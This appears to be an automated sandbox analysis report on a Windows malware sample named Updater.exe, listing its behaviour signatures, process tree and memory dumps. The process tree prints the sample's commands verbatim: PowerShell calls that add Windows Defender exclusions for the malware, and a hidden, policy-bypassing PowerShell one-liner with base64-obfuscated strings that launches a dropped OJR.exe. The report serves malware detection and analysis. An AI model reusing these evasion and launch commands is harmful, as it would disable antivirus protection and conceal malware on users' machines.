Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/08/2026, 00:10
General
- Target Updater.exe
- Size 11.6MB
- Sample260820-agg9gacj2t
- SHA256 203af48227a87e5a219bb46ea7cd2fe5959d8d90025a026a67487526658095b6
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 47 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Updater.exe"C:\Users\Admin\AppData\Local\Temp\Updater.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Updater.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Updater.exeC:\Users\Admin\AppData\Local\Temp\Updater.exe2⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$iz5400=$env:COMPUTERNAME;$cpesrz=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$iz5400=$env:COMPUTERNAME;$53olh4=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE9KUi5leGU=')));$0fajhs=[System.Environment]::TickCount;& $cpesrz -FilePath $53olh4"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\OJR.exe"C:\Users\Admin\AppData\Roaming\OJR.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\OJR.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\OJR.exeC:\Users\Admin\AppData\Roaming\OJR.exe3⤵
- Executes dropped EXE
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_2g5ueg2j.4ra.ps1
OJR.exe
memory/3160-56-0x00000201B4310000-0x00000201B43C2000-memory.dmp
memory/3992-42-0x000002747F740000-0x000002747F7BC000-memory.dmp
memory/4384-36-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-31-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-50-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-47-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-39-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-35-0x00000238597F0000-0x00000238597FA000-memory.dmp
memory/4384-34-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-33-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-13-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-16-0x00000238412F0000-0x0000023841312000-memory.dmp
memory/4384-17-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-18-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-19-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-20-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-21-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-22-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-23-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-24-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-25-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-26-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-30-0x0000023859800000-0x000002385981E000-memory.dmp
memory/4384-27-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4384-32-0x0000023859820000-0x00000238598D2000-memory.dmp
memory/4836-45-0x0000025A429E0000-0x0000025A42A04000-memory.dmp
memory/4836-59-0x0000025A48540000-0x0000025A485BC000-memory.dmp
memory/5212-5-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/5212-44-0x0000017671D30000-0x0000017671DAC000-memory.dmp
memory/5212-6-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/5212-0-0x00007FFB6A85F000-0x00007FFB6A860000-memory.dmp
memory/5212-9-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/5212-4-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/5212-3-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/5212-10-0x0000017671120000-0x0000017671C72000-memory.dmp
memory/5212-46-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/5212-12-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/5212-11-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/5212-8-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/5212-1-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/5212-7-0x0000017652060000-0x0000017652084000-memory.dmp
memory/5212-2-0x0000017650F20000-0x0000017651AC6000-memory.dmp
memory/5948-43-0x0000000140000000-0x00000001440A7000-memory.dmp